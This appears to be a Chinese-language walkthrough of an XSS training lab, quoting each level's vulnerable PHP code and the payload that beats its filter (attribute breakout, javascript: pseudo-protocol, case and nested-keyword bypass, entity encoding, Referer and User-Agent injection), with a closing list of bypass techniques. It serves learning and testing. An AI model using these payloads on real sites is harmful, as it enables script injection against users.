1.第一题没啥拦截和编码,直接显示,源代码如下:

ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
payload:<script>alert(1)</script>

p1

p2

2.第二题的源代码如下:

$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level2.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
payload:"><script>alert(1)</script>"这是直接把前面标签闭合的意思

可以看到进行html特殊字符的编码,经过测试以后发现,浏览器进行所谓的URL编码,然后发送到服务器端解码以后进行HTML实体编码,对',",<,>,&符号进行编码,注意单引号编码不是默认的,然后返回前端被浏览器解析,还原成xss payload弹窗,所以这是html编码只能防范存储型漏洞的意思?

p3

先看下去
3.第三题源码如下:

$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level3.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
payload: 123456' onfocus=alert(document.domain) autofocus//查了一下,网上说这个autofocus是当页面加载时自动获得焦点,然后onfocus是指定获得焦点时应该触发的事件.

显然是做了代替,去掉了所有的大于小于号,那就只能用事件触发了.
4.第四道同三
5.源代码如下:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
payload:1"><iframe src=javascript:alert(1)>

经测试,这道题目转换了script和on标签,那就嵌套或者伪协议

p4

然后发现嵌套不行,因为这个是转换来着.....不是直接净化掉
然后就是直接上伪协议了.

p5

6.源代码如下:

$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
payload:1"><a hRef=javascript:alert(1)>xss</a>>

这道题试了挺久,结果发现啥方法都不行,然后看了下答案,发现,我去,居然没做大小写转换...,直接大小写绕过就可以了.

p6

7.源代码如下：

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
payload:1"><a hrhrefef=javasscriptcript:alert(1)>xss</a>>

主要尝试了以后发现script标签和href标签都不见，所以考虑嵌套的手段来绕过防护，最后使用<a>标签来完成

p7

8.源代码如下：

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level7.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
payload:java&#115;cript:alert(1)

经过自己一波尝试，发现全部转小写了，然后是直接替换了，on,href,script等关键词语都被替换了，这种嵌套，伪协议，大小写全都失效了，只能看一波writeup,结果发现他是用编码绕过的，可以可以。。。。此处进行了html编码来绕过。

p8

9.源代码如下：

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{echo '<center><BR><a href="您的链接不合法？有没有！">友情链接</a></center>';}
else{echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';}
?>
payload:javascrip&#116;:alert(1)//http://xxx.com

看源代码可知道其实它里面会检查有没有http://在字符串里面，如果没有的话就直接跳转不成功，然后净化是先小写，然后替换，所以还是采用Unicode编码来绕，接着直接后面带上http://,但是这里要使用//注释符，注释掉后面的http://,不然会不成功。

p9

10.源代码如下：

$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
payload:123456" onmouseover=alert(document.domain) type="text

第十题主要是要让挑战者学会看源代码，这次是看不到，所以你只能看到输入点，输出点是看不到的，需要手动把他找出来，这就需要找到hidden,在前端去掉之后把输出点找出来，这里的输出点是hidden,经实测t_link和t_history不是输出点，所以不能用<,>然后就只能用事件输出了，这里用onmmouseover来触发。

p10.jpg

11.源代码如下所示：

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
payload:1" onmouseover=alert(1)

这道题目和前面差不多，直接把hidden menu找出来然后直接上事件触发就可以了。而其中这个hidden的值就是包头里面的referer字段，所以burp抓包也是一样的。

p11

12.这道题目也是隐藏键值，然后改了user-agent的值插入xss代码.

<input name="t_ua" value="Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B176 Safari/7534.48.3" type="hidden">
修改为：
<input name="t_ua" value="1" onmouseover=alert(1)>

p12

p13

p14

p15

p16

整理一下xss绕过防护的思路：
1.大小写绕过，如果过滤了一些关键词，比如script等，直接大小写试试，对应的解决方案就是直接将输入转小写，解决。
2.伪协议，即利用一些标签，如img, iframe,a href等等，eg:<iframe src=javascript:alert(1)>,对应防御伪协议可以直接过滤掉所谓的一些伪协议标签就可以了。
3.嵌套，用于和大小写绕过一样的防护情况。。。
4.事件触发，这样可以处理一些过滤<,>等情况，例如onmouseover，onfocus等，过滤on可解决。
5.善于利用注释符号，注释一些信息。
6.编码绕过，例如stringformcharcode,html编码绕过等等。
7.上传图片含有xss代码的exif信息